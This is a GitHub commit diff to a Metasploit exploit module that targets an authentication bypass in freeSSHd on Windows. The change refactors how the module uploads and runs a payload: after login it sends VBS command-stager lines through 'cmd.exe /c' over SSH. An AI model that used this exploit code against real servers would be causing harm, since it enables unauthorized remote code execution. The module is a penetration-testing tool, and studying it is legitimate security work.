Skip to content

Commit 8638f9e

Browse files
committed
Update freesshd_authbypass to use CmdStager fully
1 parent 4e32c80 commit 8638f9e

File tree

1 file changed

+7
-25
lines changed

1 file changed

+7
-25
lines changed

modules/exploits/windows/ssh/freesshd_authbypass.rb

Lines changed: 7 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -9,7 +9,6 @@ class MetasploitModule < Msf::Exploit::Remote
99
Rank = ExcellentRanking
1010

1111
include Msf::Exploit::Remote::Tcp
12-
include Msf::Exploit::EXE
1312
include Msf::Exploit::CmdStager
1413

1514
def initialize(info={})
@@ -81,24 +80,8 @@ def check
8180
end
8281

8382

84-
def upload_payload(connection)
85-
exe = generate_payload_exe
86-
filename = rand_text_alpha(8) + ".exe"
87-
cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe)
88-
opts = {
89-
:linemax => 1700,
90-
:decoder => default_decoder(:vbs)
91-
}
92-
93-
cmds = cmdstager.generate(opts)
94-
95-
if (cmds.nil? or cmds.length < 1)
96-
print_error("The command stager could not be generated")
97-
raise ArgumentError
98-
end
99-
cmds.each { |cmd|
100-
connection.exec!("cmd.exe /c "+cmd)
101-
}
83+
def execute_command(cmd, opts = {})
84+
@connection.exec!("cmd.exe /c "+cmd)
10285
end
10386

10487
def setup_ssh_options
@@ -168,18 +151,17 @@ def exploit
168151

169152
options = setup_ssh_options
170153

171-
connection = nil
154+
@connection = nil
172155

173156
each_user do |username|
174157
next if username.empty?
175-
connection=do_login(username,options)
176-
break if connection
158+
@connection=do_login(username,options)
159+
break if @connection
177160
end
178161

179-
if connection
162+
if @connection
180163
print_status("Uploading payload, this may take several minutes...")
181-
upload_payload(connection)
182-
handler
164+
execute_cmdstager(flavor: :vbs, decoder: default_decoder(:vbs), linemax: 1700)
183165
end
184166
end
185167

0 commit comments

Comments
 (0)